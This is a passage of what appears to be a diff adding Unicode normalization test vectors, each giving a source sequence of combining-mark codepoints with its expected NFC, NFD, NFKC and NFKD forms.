+{ source: [0x0061, 0x1DEF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x1DF6, 0x0062], NFC: [0x00E0, 0x0315, 0x1DF6, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x1DF6, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x1DF6, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x1DF6, 0x035C, 0x0062] },
+{ source: [0x0061, 0x1DF6, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x1DF6, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x1DF6, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x1DF6, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x1DF6, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x1DF7, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x1DF7, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x1DF7, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x1DF7, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x1DF7, 0x0300, 0x0062] },
+{ source: [0x0061, 0x1DF7, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x1DF7, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x1DF7, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x1DF7, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x1DF7, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x1DF8, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x1DF8, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x1DF8, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x1DF8, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x1DF8, 0x0300, 0x0062] },
+{ source: [0x0061, 0x1DF8, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x1DF8, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x1DF8, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x1DF8, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x1DF8, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1DF9, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1DF9, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1DF9, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1DF9, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1DF9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DF9, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1DF9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1DF9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1DF9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1DF9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0316, 0x1DFA, 0x031B, 0x1DFA, 0x0062], NFC: [0x0061, 0x031B, 0x1DFA, 0x1DFA, 0x0316, 0x0062], NFD: [0x0061, 0x031B, 0x1DFA, 0x1DFA, 0x0316, 0x0062], NFKC: [0x0061, 0x031B, 0x1DFA, 0x1DFA, 0x0316, 0x0062], NFKD: [0x0061, 0x031B, 0x1DFA, 0x1DFA, 0x0316, 0x0062] },
+{ source: [0x0061, 0x1DFA, 0x0316, 0x1DFA, 0x031B, 0x0062], NFC: [0x0061, 0x031B, 0x1DFA, 0x1DFA, 0x0316, 0x0062], NFD: [0x0061, 0x031B, 0x1DFA, 0x1DFA, 0x0316, 0x0062], NFKC: [0x0061, 0x031B, 0x1DFA, 0x1DFA, 0x0316, 0x0062], NFKD: [0x0061, 0x031B, 0x1DFA, 0x1DFA, 0x0316, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DFB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DFB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DFB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DFB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DFB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DFB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x1DFC, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062] },
+{ source: [0x0061, 0x1DFC, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1DFD, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1DFD, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1DFD, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1DFD, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1DFD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DFD, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1DFD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1DFD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1DFD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1DFD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DFE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DFE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DFE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DFE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DFE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DFE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1DFF, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1DFF, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1DFF, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1DFF, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1DFF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DFF, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1DFF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1DFF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1DFF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1DFF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D0, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D1, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20D2, 0x0062], NFC: [0x0061, 0x0334, 0x20D2, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20D2, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20D2, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20D2, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20D2, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20D2, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20D2, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20D2, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20D2, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20D3, 0x0062], NFC: [0x0061, 0x0334, 0x20D3, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20D3, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20D3, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20D3, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20D3, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20D3, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20D3, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20D3, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20D3, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D4, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D5, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D6, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D7, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20D8, 0x0062], NFC: [0x0061, 0x0334, 0x20D8, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20D8, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20D8, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20D8, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20D8, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20D8, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20D8, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20D8, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20D8, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20D9, 0x0062], NFC: [0x0061, 0x0334, 0x20D9, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20D9, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20D9, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20D9, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20D9, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20D9, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20D9, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20D9, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20D9, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20DA, 0x0062], NFC: [0x0061, 0x0334, 0x20DA, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20DA, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20DA, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20DA, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20DA, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20DA, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20DA, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20DA, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20DA, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20DB, 0x0062], NFC: [0x00E0, 0x05AE, 0x20DB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20DB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20DB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20DB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20DB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20DC, 0x0062], NFC: [0x00E0, 0x05AE, 0x20DC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20DC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20DC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20DC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20DC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20E1, 0x0062], NFC: [0x00E0, 0x05AE, 0x20E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20E5, 0x0062], NFC: [0x0061, 0x0334, 0x20E5, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20E5, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20E5, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20E5, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20E5, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20E5, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20E5, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20E5, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20E5, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20E6, 0x0062], NFC: [0x0061, 0x0334, 0x20E6, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20E6, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20E6, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20E6, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20E6, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20E6, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20E6, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20E6, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20E6, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20E7, 0x0062], NFC: [0x00E0, 0x05AE, 0x20E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x20E8, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x20E8, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x20E8, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x20E8, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x20E8, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20E8, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x20E8, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x20E8, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x20E8, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x20E8, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20E9, 0x0062], NFC: [0x00E0, 0x05AE, 0x20E9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20E9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20E9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20E9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20E9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062] },
